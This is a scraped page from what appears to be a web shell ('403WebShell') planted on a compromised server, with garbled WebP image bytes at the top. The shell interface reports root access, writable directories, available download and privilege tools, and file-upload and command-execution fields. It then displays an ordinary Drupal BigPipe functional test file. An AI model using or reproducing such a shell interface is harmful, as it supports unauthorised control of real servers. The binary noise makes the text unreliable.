RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/modules/big_pipe/tests/src/Functional/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/modules/big_pipe/tests/src/Functional/BigPipeTest.php
<?php

namespace Drupal\Tests\big_pipe\Functional;

use Behat\Mink\Element\NodeElement;
use Drupal\big_pipe\Render\Placeholder\BigPipeStrategy;
use Drupal\big_pipe\Render\BigPipe;
use Drupal\big_pipe_test\BigPipePlaceholderTestCases;
use Drupal\Component\Serialization\Json;
use Drupal\Component\Utility\Html;
use Drupal\Component\Utility\UrlHelper;
use Drupal\Core\Database\Database;
use Drupal\Core\Logger\RfcLogLevel;
use Drupal\Core\Url;
use Drupal\Tests\BrowserTestBase;

/**
 * Tests BigPipe's no-JS detection & response delivery (with and without JS).
 *
 * Covers:
 * - big_pipe_page_attachments()
 * - \Drupal\big_pipe\Controller\BigPipeController
 * - \Drupal\big_pipe\EventSubscriber\HtmlResponseBigPipeSubscriber
 * - \Drupal\big_pipe\Render\BigPipe
 *
 * @group big_pipe
 */
class BigPipeTest extends BrowserTestBase {

  /**
   * Modules to enable.
   *
   * @var array
   */
  protected static $modules = ['big_pipe', 'big_pipe_test', 'dblog'];

  /**
   * {@inheritdoc}
   */
  protected $defaultTheme = 'stark';

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    // Ignore the <meta> refresh that big_pipe.module sets. It causes a redirect
    // to a page that sets another cookie, which causes BrowserTestBase to lose
    // the session cookie. To avoid this problem, tests should first call
    // drupalGet() and then call checkForMetaRefresh() manually, and then reset
    // $this->maximumMetaRefreshCount and $this->metaRefreshCount.
    // @see doMetaRefresh()
    $this->maximumMetaRefreshCount = 0;
  }

  /**
   * Performs a single <meta> refresh explicitly.
   *
   * This test disables the automatic <meta> refresh checking, each time it is
   * desired that this runs, a test case must explicitly call this.
   *
   * @see setUp()
   */
  protected function performMetaRefresh() {
    $this->maximumMetaRefreshCount = 1;
    $this->checkForMetaRefresh();
    $this->maximumMetaRefreshCount = 0;
    $this->metaRefreshCount = 0;
  }

  /**
   * Tests BigPipe's no-JS detection.
   *
   * Covers:
   * - big_pipe_page_attachments()
   * - \Drupal\big_pipe\Controller\BigPipeController
   */
  public function testNoJsDetection() {
    $no_js_to_js_markup = '<script>document.cookie = "' . BigPipeStrategy::NOJS_COOKIE . '=1; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT"</script>';

    // 1. No session (anonymous).
    $this->drupalGet(Url::fromRoute('<front>'));
    $this->assertSessionCookieExists(FALSE);
    $this->assertBigPipeNoJsCookieExists(FALSE);
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
    $this->assertSession()->responseNotContains($no_js_to_js_markup);

    // 2. Session (authenticated).
    $this->drupalLogin($this->rootUser);
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);
    $this->assertSession()->responseContains('<noscript><meta http-equiv="Refresh" content="0; URL=' . base_path() . 'big_pipe/no-js?destination=' . UrlHelper::encodePath(base_path() . 'user/1?check_logged_in=1') . '" />' . "\n" . '</noscript>');
    $this->assertSession()->responseNotContains($no_js_to_js_markup);
    $this->assertBigPipeNoJsMetaRefreshRedirect();
    $this->assertBigPipeNoJsCookieExists(TRUE);
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
    $this->assertSession()->responseContains($no_js_to_js_markup);
    $this->drupalLogout();

    // Close the prior connection and remove the collected state.
    $this->getSession()->reset();

    // 3. Session (anonymous).
    $this->drupalGet(Url::fromRoute('user.login', [], ['query' => ['trigger_session' => 1]]));
    $this->drupalGet(Url::fromRoute('user.login'));
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);
    $this->assertSession()->responseContains('<noscript><meta http-equiv="Refresh" content="0; URL=' . base_path() . 'big_pipe/no-js?destination=' . base_path() . 'user/login" />' . "\n" . '</noscript>');
    $this->assertSession()->responseNotContains($no_js_to_js_markup);
    $this->assertBigPipeNoJsMetaRefreshRedirect();
    $this->assertBigPipeNoJsCookieExists(TRUE);
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
    $this->assertSession()->responseContains($no_js_to_js_markup);

    // Close the prior connection and remove the collected state.
    $this->getSession()->reset();

    // Edge case: route with '_no_big_pipe' option.
    $this->drupalGet(Url::fromRoute('no_big_pipe'));
    $this->assertSessionCookieExists(FALSE);
    $this->assertBigPipeNoJsCookieExists(FALSE);
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
    $this->assertSession()->responseNotContains($no_js_to_js_markup);
    $this->drupalLogin($this->rootUser);
    $this->drupalGet(Url::fromRoute('no_big_pipe'));
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);
    $this->assertSession()->responseNotContains('<noscript><meta http-equiv="Refresh" content="0; URL=');
    $this->assertSession()->responseNotContains($no_js_to_js_markup);
  }

  /**
   * Tests BigPipe-delivered HTML responses when JavaScript is enabled.
   *
   * Covers:
   * - \Drupal\big_pipe\EventSubscriber\HtmlResponseBigPipeSubscriber
   * - \Drupal\big_pipe\Render\BigPipe
   * - \Drupal\big_pipe\Render\BigPipe::sendPlaceholders()
   *
   * @see \Drupal\big_pipe_test\BigPipePlaceholderTestCases
   */
  public function testBigPipe() {
    // Simulate production.
    $this->config('system.logging')->set('error_level', ERROR_REPORTING_HIDE)->save();

    $this->drupalLogin($this->rootUser);
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);

    $connection = Database::getConnection();
    $log_count = $connection->select('watchdog')->countQuery()->execute()->fetchField();

    // By not calling performMetaRefresh() here, we simulate JavaScript being
    // enabled, because as far as the BigPipe module is concerned, JavaScript is
    // enabled in the browser as long as the BigPipe no-JS cookie is *not* set.
    // @see setUp()
    // @see performMetaRefresh()

    $this->drupalGet(Url::fromRoute('big_pipe_test'));
    $this->assertBigPipeResponseHeadersPresent();
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'cache_tag_set_in_lazy_builder');

    $this->setCsrfTokenSeedInTestEnvironment();
    $cases = $this->getTestCases();
    $this->assertBigPipeNoJsPlaceholders([
      $cases['edge_case__invalid_html']->bigPipeNoJsPlaceholder     => $cases['edge_case__invalid_html']->embeddedHtmlResponse,
      $cases['html_attribute_value']->bigPipeNoJsPlaceholder        => $cases['html_attribute_value']->embeddedHtmlResponse,
      $cases['html_attribute_value_subset']->bigPipeNoJsPlaceholder => $cases['html_attribute_value_subset']->embeddedHtmlResponse,
    ]);
    $this->assertBigPipePlaceholders([
      $cases['html']->bigPipePlaceholderId                             => Json::encode($cases['html']->embeddedAjaxResponseCommands),
      $cases['edge_case__html_non_lazy_builder']->bigPipePlaceholderId => Json::encode($cases['edge_case__html_non_lazy_builder']->embeddedAjaxResponseCommands),
      $cases['exception__lazy_builder']->bigPipePlaceholderId          => NULL,
      $cases['exception__embedded_response']->bigPipePlaceholderId     => NULL,
    ], [
      0 => $cases['edge_case__html_non_lazy_builder']->bigPipePlaceholderId,
      // The 'html' case contains the 'status messages' placeholder, which is
      // always rendered last.
      1 => $cases['html']->bigPipePlaceholderId,
    ]);

    $this->assertSession()->responseContains('</body>');

    // Verifying BigPipe assets are present.
    $this->assertNotEmpty($this->getDrupalSettings());
    $this->assertContains('big_pipe/big_pipe', explode(',', $this->getDrupalSettings()['ajaxPageState']['libraries']), 'BigPipe asset library is present.');

    // Verify that the two expected exceptions are logged as errors.
    $this->assertEquals($log_count + 2, (int) $connection->select('watchdog')->countQuery()->execute()->fetchField(), 'Two new watchdog entries.');
    // Using dynamic select queries with the method range() allows contrib
    // database drivers the ability to insert their own limit and offset
    // functionality.
    $records = $connection->select('watchdog', 'w')->fields('w')->orderBy('wid', 'DESC')->range(0, 2)->execute()->fetchAll();
    $this->assertEquals(RfcLogLevel::ERROR, $records[0]->severity);
    $this->assertStringContainsString('Oh noes!', (string) unserialize($records[0]->variables)['@message']);
    $this->assertEquals(RfcLogLevel::ERROR, $records[1]->severity);
    $this->assertStringContainsString('You are not allowed to say llamas are not cool!', (string) unserialize($records[1]->variables)['@message']);

    // Verify that 4xx responses work fine. (4xx responses are handled by
    // subrequests to a route pointing to a controller with the desired output.)
    $this->drupalGet(Url::fromUri('base:non-existing-path'));

    // Simulate development.
    // Verifying BigPipe provides useful error output when an error occurs
    // while rendering a placeholder if verbose error logging is enabled.
    $this->config('system.logging')->set('error_level', ERROR_REPORTING_DISPLAY_VERBOSE)->save();
    $this->drupalGet(Url::fromRoute('big_pipe_test'));
    // The 'edge_case__html_exception' case throws an exception.
    $this->assertSession()->pageTextContains('The website encountered an unexpected error. Please try again later');
    $this->assertSession()->pageTextContains('You are not allowed to say llamas are not cool!');
    // Check that stop signal and closing body tag are absent.
    $this->assertSession()->responseNotContains(BigPipe::STOP_SIGNAL);
    $this->assertSession()->responseNotContains('</body>');
    // The exception is expected. Do not interpret it as a test failure.
    unlink($this->root . '/' . $this->siteDirectory . '/error.log');
  }

  /**
   * Tests BigPipe-delivered HTML responses when JavaScript is disabled.
   *
   * Covers:
   * - \Drupal\big_pipe\EventSubscriber\HtmlResponseBigPipeSubscriber
   * - \Drupal\big_pipe\Render\BigPipe
   * - \Drupal\big_pipe\Render\BigPipe::sendNoJsPlaceholders()
   *
   * @see \Drupal\big_pipe_test\BigPipePlaceholderTestCases
   */
  public function testBigPipeNoJs() {
    // Simulate production.
    $this->config('system.logging')->set('error_level', ERROR_REPORTING_HIDE)->save();

    $this->drupalLogin($this->rootUser);
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);

    // By calling performMetaRefresh() here, we simulate JavaScript being
    // disabled, because as far as the BigPipe module is concerned, it is
    // enabled in the browser when the BigPipe no-JS cookie is set.
    // @see setUp()
    // @see performMetaRefresh()
    $this->performMetaRefresh();
    $this->assertBigPipeNoJsCookieExists(TRUE);

    $this->drupalGet(Url::fromRoute('big_pipe_test'));
    $this->assertBigPipeResponseHeadersPresent();
    $this->assertSession()->responseHeaderNotContains('X-Drupal-Cache-Tags', 'cache_tag_set_in_lazy_builder');

    $this->setCsrfTokenSeedInTestEnvironment();
    $cases = $this->getTestCases();
    $this->assertBigPipeNoJsPlaceholders([
      $cases['edge_case__invalid_html']->bigPipeNoJsPlaceholder           => $cases['edge_case__invalid_html']->embeddedHtmlResponse,
      $cases['html_attribute_value']->bigPipeNoJsPlaceholder              => $cases['html_attribute_value']->embeddedHtmlResponse,
      $cases['html_attribute_value_subset']->bigPipeNoJsPlaceholder       => $cases['html_attribute_value_subset']->embeddedHtmlResponse,
      $cases['html']->bigPipeNoJsPlaceholder                              => $cases['html']->embeddedHtmlResponse,
      $cases['edge_case__html_non_lazy_builder']->bigPipeNoJsPlaceholder  => $cases['edge_case__html_non_lazy_builder']->embeddedHtmlResponse,
      $cases['exception__lazy_builder']->bigPipePlaceholderId             => NULL,
      $cases['exception__embedded_response']->bigPipePlaceholderId        => NULL,
    ]);

    // Verifying there are no BigPipe placeholders & replacements.
    $this->assertSession()->responseHeaderEquals('BigPipe-Test-Placeholders', '<none>');
    // Verifying BigPipe start/stop signals are absent.
    $this->assertSession()->responseNotContains(BigPipe::START_SIGNAL);
    $this->assertSession()->responseNotContains(BigPipe::STOP_SIGNAL);

    // Verifying BigPipe assets are absent.
    $this->assertArrayNotHasKey('bigPipePlaceholderIds', $this->getDrupalSettings());
    $this->assertArrayNotHasKey('ajaxPageState', $this->getDrupalSettings());
    $this->assertSession()->responseContains('</body>');

    // Verify that 4xx responses work fine. (4xx responses are handled by
    // subrequests to a route pointing to a controller with the desired output.)
    $this->drupalGet(Url::fromUri('base:non-existing-path'));

    // Simulate development.
    // Verifying BigPipe provides useful error output when an error occurs
    // while rendering a placeholder if verbose error logging is enabled.
    $this->config('system.logging')->set('error_level', ERROR_REPORTING_DISPLAY_VERBOSE)->save();
    $this->drupalGet(Url::fromRoute('big_pipe_test'));
    // The 'edge_case__html_exception' case throws an exception.
    $this->assertSession()->pageTextContains('The website encountered an unexpected error. Please try again later');
    $this->assertSession()->pageTextContains('You are not allowed to say llamas are not cool!');
    $this->assertSession()->responseNotContains('</body>');
    // The exception is expected. Do not interpret it as a test failure.
    unlink($this->root . '/' . $this->siteDirectory . '/error.log');
  }

  /**
   * Tests BigPipe with a multi-occurrence placeholder.
   */
  public function testBigPipeMultiOccurrencePlaceholders() {
    $this->drupalLogin($this->rootUser);
    $this->assertSessionCookieExists(TRUE);
    $this->assertBigPipeNoJsCookieExists(FALSE);

    // By not calling performMetaRefresh() here, we simulate JavaScript being
    // enabled, because as far as the BigPipe module is concerned, JavaScript is
    // enabled in the browser as long as the BigPipe no-JS cookie is *not* set.
    // @see setUp()
    // @see performMetaRefresh()

    $this->drupalGet(Url::fromRoute('big_pipe_test_multi_occurrence'));
    $big_pipe_placeholder_id = 'callback=Drupal%5CCore%5CRender%5CElement%5CStatusMessages%3A%3ArenderMessages&amp;args%5B0%5D&amp;token=_HAdUpwWmet0TOTe2PSiJuMntExoshbm1kh2wQzzzAA';
    $expected_placeholder_replacement = '<script type="application/vnd.drupal-ajax" data-big-pipe-replacement-for-placeholder-with-id="' . $big_pipe_placeholder_id . '">';
    $this->assertSession()->pageTextContains('The count is 1.');
    $this->assertSession()->responseNotContains('The count is 2.');
    $this->assertSession()->responseNotContains('The count is 3.');
    $raw_content = $this->getSession()->getPage()->getContent();
    $this->assertSame(1, substr_count($raw_content, $expected_placeholder_replacement), 'Only one placeholder replacement was found for the duplicate #lazy_builder arrays.');

    // By calling performMetaRefresh() here, we simulate JavaScript being
    // disabled, because as far as the BigPipe module is concerned, it is
    // enabled in the browser when the BigPipe no-JS cookie is set.
    // @see setUp()
    // @see performMetaRefresh()
    $this->performMetaRefresh();
    $this->assertBigPipeNoJsCookieExists(TRUE);
    $this->drupalGet(Url::fromRoute('big_pipe_test_multi_occurrence'));
    $this->assertSession()->pageTextContains('The count is 1.');
    $this->assertSession()->responseNotContains('The count is 2.');
    $this->assertSession()->responseNotContains('The count is 3.');
  }

  /**
   * @internal
   */
